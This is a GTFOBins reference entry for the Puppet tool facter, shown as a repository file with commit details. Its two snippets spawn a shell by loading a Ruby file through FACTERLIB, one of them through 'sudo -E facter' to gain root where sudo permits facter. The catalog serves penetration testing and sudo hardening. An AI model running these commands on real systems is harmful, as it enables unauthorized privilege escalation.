GTFOBins.github.io/_gtfobins/facter.md
Andrea Cardaci aab8e783ec Add facter
Thanks to #20.
2018-09-04 13:42:37 +02:00

14 lines
284 B
Markdown

---
functions:
execute-interactive:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF facter
sudo-enabled:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF sudo -E facter
---